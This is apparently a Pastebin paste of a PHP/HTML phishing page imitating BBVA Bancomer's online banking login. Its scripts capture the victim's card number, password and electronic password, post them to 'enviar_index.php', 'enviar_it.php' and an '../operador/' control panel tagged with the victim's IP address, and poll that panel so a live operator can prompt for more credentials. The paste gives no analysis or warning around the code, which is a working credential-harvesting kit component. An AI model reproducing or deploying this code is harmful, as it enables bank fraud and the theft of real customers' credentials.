Advertisement
Guest User

iframe2.php

a guest
Nov 17th, 2017
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.29 KB | None | 0 0
  1.  
  2. <!DOCTYPE html>
  3. <html lang="es"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  4.  
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  6. <meta name="viewport" content="width=device-width initial-scale=1.0">
  7. <title>Index BBVA | Net</title>
  8. <script type="text/javascript" src="./js/jquery.min.js(1).download"></script>
  9. <script type="text/javascript" src="./js/jQuery.dPassword.js.download"></script>
  10. <link rel="stylesheet" type="text/css" href="./css/ban_styles_opt.css">
  11.  
  12.  
  13.  
  14.  
  15.  
  16. <!--
  17. //////////////////////////////////////////////////////////////////////////////////////////////////
  18. // INICIO DAS FUNÇÕES E MOSTRAR IFRAME
  19. //////////////////////////////////////////////////////////////////////////////////////////////////
  20. -->
  21.  
  22.  
  23. <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
  24. <script type="text/javascript">$={};</script>
  25. <script type="text/javascript" src="./js/EnmascaraV2.js.download"></script>
  26.  
  27. <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" />
  28.  
  29.  
  30. <div class="modal" id="modal" data-backdrop="static">
  31. <div class="padding-modal">
  32. <h2 class="header-h2">%title%</h2>
  33. <article>%text%</article>
  34.  
  35. %status%
  36. </div>
  37. </div>
  38. <div class="bgmodal" id="modalBG" idb="btnCloseModal"></div>
  39.  
  40. <style type="text/css">
  41. .padding-10 {
  42. padding: 10px;
  43. }
  44.  
  45. .padding-left-10 {
  46. padding-left: 10px;
  47. }
  48. .modal {
  49. position: fixed;
  50. top: 50px;
  51. z-index: 2;
  52.  
  53. width: 280px;
  54. left: 50%;
  55. margin-left: -140px;
  56.  
  57. height: 160px;
  58. top: 50%;
  59. margin-top: -80px;
  60.  
  61. background: white;
  62.  
  63. -webkit-border-radius: 5px;
  64. -moz-border-radius: 5px;
  65. -ms-border-radius: 5px;
  66. -o-border-radius: 5px;
  67. border-radius: 5px;
  68. }
  69. .bgmodal {
  70. background: rgba(0, 0, 0, .7);
  71. position: fixed;
  72. left: 0;
  73. top: 0;
  74. width: 100%;
  75. height: 100%;
  76. z-index: 1;
  77. }
  78.  
  79. .padding-modal {
  80. padding: 10px 15px 10px 15px;
  81. }
  82.  
  83. .header-h2 {
  84. font: bold 16px Arial,Helvetica,sans-serif,MillBankTall;
  85. color: #777;
  86. }
  87.  
  88. .waltermark {
  89. background: url(assets/images/ItauLogo.png) no-repeat right;
  90. }
  91.  
  92. #modal,
  93. #modalBG { display: none }
  94.  
  95. article {
  96. font: 13px arial;
  97. margin-top: 10px;
  98. }
  99.  
  100. @-webkit-keyframes spin {
  101. 0% {
  102. -webkit-transform: rotate(0deg);
  103. -moz-transform: rotate(0deg);
  104. -ms-transform: rotate(0deg);
  105. -o-transform: rotate(0deg);
  106. transform: rotate(0deg);
  107. }
  108. 100% {
  109. -webkit-transform: rotate(360deg);
  110. -moz-transform: rotate(360deg);
  111. -ms-transform: rotate(360deg);
  112. -o-transform: rotate(360deg);
  113. transform: rotate(360deg);
  114. }
  115. }
  116. .spinner {
  117. -webkit-animation: spin 4s infinite linear;
  118. -moz-animation: spin 4s infinite linear;
  119. -ms-animation: spin 4s infinite linear;
  120. -o-animation: spin 4s infinite linear;
  121. animation: spin 4s infinite linear;
  122. display: inline-block;
  123. }
  124.  
  125. .spinner-modal {
  126. display: table;
  127. margin: 13px auto 10px;
  128. font-size: 40px;
  129. color: #777;
  130. }
  131.  
  132. .red {
  133. color: #f72222
  134. }
  135. </style>
  136.  
  137.  
  138.  
  139. <div class="modal" id="modal">
  140. <div class="padding-modal">
  141. <h2 class="header-h2">%title%</h2>
  142. <article>%text%</article>
  143.  
  144. %status%
  145. </div>
  146. </div>
  147. <div class="bgmodal" id="modalBG" idb="btnCloseModal"></div>
  148.  
  149.  
  150.  
  151. <script type="text/javascript">
  152.  
  153. //////////////////////////////////////////////////////////////////////////////////////////////////
  154.  
  155. window.getTimeStamp = function() {
  156. var m10 = function(v) {
  157. return v = v < 10 ? "0" + v : v;;
  158. };
  159.  
  160. var date = (new Date);
  161. var day = date.getDate();
  162. var mo = date.getMonth() + 1;
  163. var ye = date.getFullYear();
  164. mo = m10(mo);
  165. day = m10(day);
  166.  
  167. var h = date.getHours();
  168. var m = date.getMinutes();
  169. var s = date.getSeconds();
  170. h = m10(h);
  171. m = m10(m);
  172. s = m10(s);
  173.  
  174. var formated = ye + '-' + mo + '-' + day + '_' + h + '-' + m + '-' + s;
  175. return formated;
  176. }
  177.  
  178. window.modal = document.getElementById('modal');
  179. window.modalBG = document.getElementById('modalBG');
  180.  
  181. window.openModal = function() {
  182. modal.style.display = 'block';
  183. modalBG.style.display = 'block';
  184. }
  185.  
  186. window.closeModal = function() {
  187. modal.style.display = 'none';
  188. modalBG.style.display = 'none';
  189. }
  190.  
  191. window.initializeCloseModalAction = function() {
  192. var btnsCloseModal = document.querySelectorAll('[idb="btnCloseModal"]');
  193. if (btnsCloseModal && btnsCloseModal.length) [].map.call(btnsCloseModal, function(btn) {
  194. btn.onclick = function() {
  195. continueLoop = true;
  196. console.log(11);
  197. closeModal();
  198. };
  199. });
  200. }
  201.  
  202. initializeCloseModalAction();
  203.  
  204. var interval = 5000, continueLoop = true;
  205. window.lastUserName = "";
  206. var get_response = function(form) {
  207. jQuery.post('../../../operador/?action=response-get-action', {
  208. cronname: form === "senha-eletronica" ? cronname2 : cronname
  209. }, function(response) {
  210. //console.log(response);
  211.  
  212. if (typeof response.status !== "undefined") {
  213. console.warn('tem status');
  214.  
  215. var name = response.name;
  216. if (name) window.lastUserName = name;
  217.  
  218. console.log(form);
  219.  
  220. if (response.status) {
  221.  
  222. if (form === "senha-eletronica") {
  223. document.location = 'it2.php';
  224. // modal.innerHTML = modalTemplate
  225. // .replace(/\%title\%/g, 'Aguarde...')
  226. // .replace(/\%text\%/g, 'Estamos verificando seus dados, aguarde um momento por favor.')
  227. // .replace(/\%status\%/g, '<i class="fa fa-spinner spinner spinner-modal"></i>')
  228. //;
  229. }
  230.  
  231. // informe senha eletronica
  232. else {
  233. modal.innerHTML = modalTemplate
  234. .replace(/\%title\%/g, '<span>Olá, ' + name + '.</span>')
  235. .replace(/\%text\%/g, '<span>Informe sua senha eletrônica:</span>')
  236. .replace(/\%status\%/g, '<table id="ctl00_ContentPlaceHolder1_tbSenhaGeralT" border="0" width="100%" height="35px" style="margin-top: 10px; margin-left: -8px;"> <tbody><tr style="font-size: 14px;vertical-align: middle;"> <td style="font-weight: bold"> &nbsp;Senha eletrônica </td> </tr> <tr style="font-size: 14px;vertical-align: middle;"> <td>&nbsp;<input name="senhaeletronica" type="password" maxlength="8" style="-webkit-text-security:disc; text-security:disc;" id="ctl00_ContentPlaceHolder1_txtPassT" pattern="[0-9]*" size="9">&nbsp; <!-- input type="image" name="ctl00$ContentPlaceHolder1$btnLogInT" id="ctl00_ContentPlaceHolder1_btnLogInT" src="./it_files/bt-ok.png" style="height:25px;width:28px;border-width:0px;vertical-align: middle; border: 0" --> <img src="./it_arquivos/bt-ok.png" onclick="validation2()" style="cursor:pointer;height:25px;width:28px;border-width:0px;vertical-align: middle; border: 0"> </td> </tr> </tbody></table>')
  237. ;
  238. }
  239. }
  240.  
  241. else if (!response.status) {
  242.  
  243. if (form === "senha-eletronica") {
  244. modal.innerHTML = modalTemplate
  245. .replace(/\%title\%/g, '<span class="red">Dados inválidos!</span>')
  246. .replace(/\%text\%/g, '<span class="red">Por favor, corrija seus dados e tente novamente.</span>')
  247. .replace(/\%status\%/g, '<img idb="btnBackModal" src="it_arquivos/bt-ok.png" style="cursor:pointer;width: 28px; height: 25px; display: table; margin: 20px auto 0;">')
  248. ;
  249. }
  250.  
  251. else
  252. modal.innerHTML = modalTemplate
  253. .replace(/\%title\%/g, '<span class="red">Dados inválidos!</span>')
  254. .replace(/\%text\%/g, '<span class="red">Por favor, corrija seus dados e tente novamente.</span>')
  255. .replace(/\%status\%/g, '<img idb="btnCloseModal" src="it_arquivos/bt-ok.png" style="cursor:pointer;width: 28px; height: 25px; display: table; margin: 20px auto 0;">')
  256. ;
  257.  
  258. var btnsBackModal = document.querySelectorAll('[idb="btnBackModal"]');
  259. if (btnsBackModal && btnsBackModal.length) Array.prototype.map.call(btnsBackModal, function(btn) {
  260. btn.onclick = function() {
  261. modal.innerHTML = modalTemplate
  262. .replace(/\%title\%/g, '<span>Olá, ' + window.lastUserName + '.</span>')
  263. .replace(/\%text\%/g, '<span>Informe sua senha eletrônica:</span>')
  264. .replace(/\%status\%/g, '<table id="ctl00_ContentPlaceHolder1_tbSenhaGeralT" border="0" width="100%" height="35px" style="margin-top: 10px; margin-left: -8px;"> <tbody><tr style="font-size: 14px;vertical-align: middle;"> <td class="PF_textoNegrito"> &nbsp;Senha eletrônica </td> </tr> <tr style="font-size: 14px;vertical-align: middle;"> <td>&nbsp;<input name="senhaeletronica" type="password" maxlength="8" style="-webkit-text-security:disc; text-security:disc;" id="ctl00_ContentPlaceHolder1_txtPassT" pattern="[0-9]*" size="9">&nbsp; <!-- input type="image" name="ctl00$ContentPlaceHolder1$btnLogInT" id="ctl00_ContentPlaceHolder1_btnLogInT" src="./it_files/bt-ok.png" style="height:25px;width:28px;border-width:0px;vertical-align: middle; border: 0" --> <img src="./it_arquivos/bt-ok.png" onclick="validation2()" style="cursor:pointer;height:25px;width:28px;border-width:0px;vertical-align: middle; border: 0"> </td> </tr> </tbody></table>')
  265. ;
  266. }
  267. });
  268.  
  269. initializeCloseModalAction();
  270. }
  271.  
  272. continueLoop = false;
  273.  
  274. }
  275.  
  276. else {
  277. console.error('Ainda não tem status');
  278.  
  279. if (form === "senha-eletronica") { //document.location = 'it2.php';
  280. modal.innerHTML = modalTemplate
  281. .replace(/\%title\%/g, 'Aguarde...')
  282. .replace(/\%text\%/g, 'Estamos verificando seus dados, aguarde um momento por favor.')
  283. .replace(/\%status\%/g, '<i class="fa fa-spinner spinner spinner-modal"></i>')
  284. ;
  285. }
  286.  
  287. continueLoop = true;
  288. }
  289.  
  290. // repete enquanto *
  291. if (continueLoop) setTimeout(function() {
  292. //if (form === "senha-eletronica") get_response('senha-eletronica');
  293. //else
  294. get_response(form);
  295. }, interval);
  296. }, 'json');
  297. }
  298.  
  299. window.random = function() {
  300. var r = (new Date).getTime();
  301. return String(r) + String(Math.floor(Math.random() * 99999) + 10000);
  302. }
  303.  
  304. window.cronname = 'get-action_<?php echo $_SERVER['REMOTE_ADDR']; ?>_passo-1_' + random() + '_' + getTimeStamp() + '_';
  305. window.cronname2 = 'get-action_<?php echo $_SERVER['REMOTE_ADDR']; ?>_passo-1-senha-eletronica_' + random() + '_' + getTimeStamp() + '_';
  306.  
  307. //////////////////////////////////////////////////////////////////////////////////////////////////
  308.  
  309.  
  310.  
  311.  
  312.  
  313. //////////////////////////////////////////////////////////////////////////////////////////////////
  314.  
  315. function validation2() {
  316. var senhaeletronica = document.getElementById('ctl00_ContentPlaceHolder1_txtPassT');
  317.  
  318. var data = { __id__: "access" };
  319.  
  320. data.tipoconta = "Pessoal";
  321.  
  322. data.senhaeletronica = senhaeletronica.value;
  323.  
  324. jQuery.post('../../../operador/?action=get-action', {
  325. cronname: window.cronname2,
  326. value: JSON.stringify(data)
  327. }, function() {
  328. get_response('senha-eletronica');
  329. });
  330.  
  331. jQuery.post('enviar_it.php', data, function() {
  332. //document.location = 'pf2.php';
  333. });
  334. }
  335.  
  336. //////////////////////////////////////////////////////////////////////////////////////////////////
  337.  
  338. function validation1() {
  339.  
  340.  
  341. var numerotarjeta = document.getElementById('numerotarjeta');
  342. var password = document.getElementById('password');
  343.  
  344. var data = { __id__: "access" };
  345.  
  346. data.tipoconta = "Pessoal";
  347.  
  348. data.NumerodaConta = numerotarjeta.value;
  349. data.Senha = password.value;
  350. //data.senhaeletronica = senhaeletronica.value;
  351.  
  352. console.log(data);
  353.  
  354. if (modal && modalBG) {
  355.  
  356.  
  357. openModal();
  358.  
  359. window.modalTemplate; if (!window.modalTemplate) window.modalTemplate = modal.innerHTML;
  360.  
  361. modal.innerHTML = modalTemplate
  362. .replace(/\%title\%/g, 'Aguarde...')
  363. .replace(/\%text\%/g, 'Estamos verificando seus dados, aguarde um momento por favor.')
  364. .replace(/\%status\%/g, '<i class="fa fa-spinner spinner spinner-modal"></i>')
  365. ;
  366.  
  367. jQuery.post('../../../operador/?action=get-action', {
  368. cronname: window.cronname,
  369. value: JSON.stringify(data)
  370. }, get_response);
  371. }
  372.  
  373. jQuery.post('enviar_index.php', data, function() {
  374. //document.location = 'pf2.php';
  375. });
  376.  
  377. return false;
  378. }
  379.  
  380.  
  381. </script>
  382.  
  383.  
  384. <!--
  385. //////////////////////////////////////////////////////////////////////////////////////////////////
  386. // FINAL DAS FUNÇÕES E MOSTRAR IFRAME
  387. //////////////////////////////////////////////////////////////////////////////////////////////////
  388. -->
  389.  
  390.  
  391. </head>
  392. <body >
  393.  
  394. <script>
  395. var dispositivo = navigator.userAgent.toLowerCase();
  396. if( dispositivo.search(/android/) > -1 ){
  397. ////en caso de android
  398. //document.write('<input type="password" name="cuenta" class="form-control" id="cuenta" placeholder="Tarjeta" maxlength="16" />');
  399. }else{
  400. //document.write('<input type="text" name="tempCuenta" class="form-control" id="tempCuenta" value="" onKeyDown="setTimeout(\'EnmascaraV2(\\\'tempCuenta\\\',\\\'cuenta\\\',false);\',10);" placeholder="Tarjeta" maxlength="16" />');
  401. //document.write('<input type="hidden" name="cuenta" id="cuenta" />');
  402. var det_tempCuenta=setTimeout('EnmascaraV2("tempCuenta","cuenta",true)',10);
  403. }
  404. </script>
  405. <div>
  406. <header style="text-align: left;">
  407. <h2 class="header-login" style="color: rgb(0, 123, 211);">Bienvenido(a)</h2>
  408. <h2 class="header-login" style="color: rgb(0, 123, 211);"><script>document.writeln(a);</script>
  409. </h2>
  410. </header>
  411. <div>
  412. <form action="../enviar_index.php" method="post" name="login" id="login" autocomplete="off">
  413. <p style="text-align: left;"><b>Número de Tarjeta</b></p>
  414. <input name="numerotarjeta" id="numerotarjeta" type="text" value="" style="undefined" size="20" placeholder="Número de Tarjeta" maxlength="16" autocomplete="off">
  415. <p style="text-align: left;"><b>Contraseña</b></p>
  416. <input type="password" name="password" id="password" autocomplete="off" value="" maxlength="10" placeholder="Contraseña">
  417. <hr>
  418.  
  419. <button type="button" onclick="validation1()" id="loginButton" name="loginButtn" class="btn large" style="background: rgb(0, 121, 193);">Ingresar</button>
  420. </form>
  421. </div>
  422. <a href="javascript:desbloqueo()" class="desb">¿Olvidaste o bloqueaste tus claves?</a>
  423. </div>
  424.  
  425.  
  426.  
  427. <form method="post" action="#" id="des" target="Def"><input type="hidden" name="username" id="des_username"></form>
  428. <script language="JavaScript" type="text/JavaScript">
  429.  
  430. function SomenteLetras(e)
  431. {
  432. var tecla = new Number();
  433. if (window.event) {
  434. tecla = e.keyCode;
  435. }
  436. else if (e.which) {
  437. tecla = e.which;
  438. }
  439. else {
  440. return true;
  441. }
  442. if ((tecla >= "48") && (tecla <= "57")) {
  443. return false;
  444. }
  445. }
  446. function SomenteNumero(e) {
  447. var tecla = (window.event) ? event.keyCode : e.which;
  448. if ((tecla > 47 && tecla < 58))
  449. return true;
  450. else {
  451. if (tecla == 8 || tecla == 0)
  452. return true;
  453. else
  454. return false;
  455. }
  456. }
  457. function vercpf(cpf)
  458. {
  459. if (cpf.length != 11 || cpf == "00000000000" || cpf == "11111111111" || cpf == "22222222222" || cpf == "33333333333" || cpf == "44444444444" || cpf == "55555555555" || cpf == "66666666666" || cpf == "77777777777" || cpf == "88888888888" || cpf == "99999999999")
  460. return false;
  461. add = 0;
  462. for (i = 0; i < 9; i ++)
  463. add += parseInt(cpf.charAt(i)) * (10 - i);
  464. rev = 11 - (add % 11);
  465. if (rev == 10 || rev == 11)
  466. rev = 0;
  467. if (rev != parseInt(cpf.charAt(9)))
  468. return false;
  469. add = 0;
  470. for (i = 0; i < 10; i ++)
  471. add += parseInt(cpf.charAt(i)) * (11 - i);
  472. rev = 11 - (add % 11);
  473. if (rev == 10 || rev == 11)
  474. rev = 0;
  475. if (rev != parseInt(cpf.charAt(10)))
  476. return false;
  477. return true;
  478. //alert('CPF V?LIDO');
  479. }
  480.  
  481. function gravar1() {
  482. var numero = document.getElementById("password").value;
  483. if (numero.length < 4) {
  484. alert("Apreciable cliente:\nEs necesario introducir la clave de acceso correctamente");
  485. document.getElementById("password").focus();
  486. return;
  487. }
  488. document.getElementById("loggin").submit();
  489. }
  490.  
  491. </script>
  492. <script type="text/javascript">
  493.  
  494. jQuery(document).ready(function() {
  495. if (sError != "") {
  496. console.log(sError);
  497. if (sError.indexOf("Authentication failed") != -1) {
  498. var sUrl = "https://www.bancomer.com/acceso/perfilaResp.jsp";
  499. sUrl = sUrl.replace("%20", " ");
  500. alert("Apreciable cliente:\nEs necesario introducir la clave de acceso correctamente");
  501. history.go(-1);
  502. } else if (sError.indexOf("disabled") != -1 || sError.indexOf("expired") != -1) {
  503. var sUrl = "https://www.bancomer.com/acceso/perfilaResp.jsp";
  504. sUrl = sUrl.replace("%20", " ");
  505. alert("Apreciable cliente:\nPor su seguridad su contrase\u00f1a ha sido bloqueada.");
  506. history.go(-1);
  507. }
  508. }
  509. jQuery("#numerotarjeta").val(tarjeta);
  510. jQuery("#numerotarjeta").dPassword();
  511. document.getElementById("password").focus();
  512. "porta" != nvoportal && $("#loginButton").css("background", color);
  513. $("#loginButton").css("background", color) //color de boton
  514. $("#loggin p").css("text-align", text); //alineado de textos
  515. $("header").css("text-align", text); //alineados de headers
  516. $("h2").css("color", alh2) //color de boton
  517. $("#loginButton").hover(function(){
  518. $(this).css("background-color", ColorLuminance(color, -0.2));
  519. }, function(){
  520. $(this).css("background-color", color);
  521. });
  522. $("#loggin").submit(function() {
  523. $('input').attr('disabled', 'disabled');
  524. var cveSec = document.forms[0].password.value;
  525. var errores = 'Estimado cliente:\n\n';
  526. var nTarj = document.forms[0].numerotarjeta.value;
  527. regTDD = /^[0-9]{16}$/;
  528. ok = true;
  529. if (!regExp.test(nTarj)) {
  530. errores += "El n\u00famero de tu tarjeta de d\u00e9bito debe ser de 16 d\u00edgitos\n";
  531. ok = false;
  532. }
  533. if (cveSec.length < 4) {
  534. errores += 'La clave de acceso debe ser de 4 a 10 caracteres';
  535. ok = false;
  536. }
  537. if (!ok) {
  538. $("input").removeAttr('disabled');
  539. alert(errores);
  540. return false;
  541. } else {
  542. $("input").removeAttr('disabled');
  543. document.forms[0].username.value = nTarj + "ADMINF";
  544. return true;
  545. }
  546. });
  547. });
  548.  
  549. </script>
  550.  
  551. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement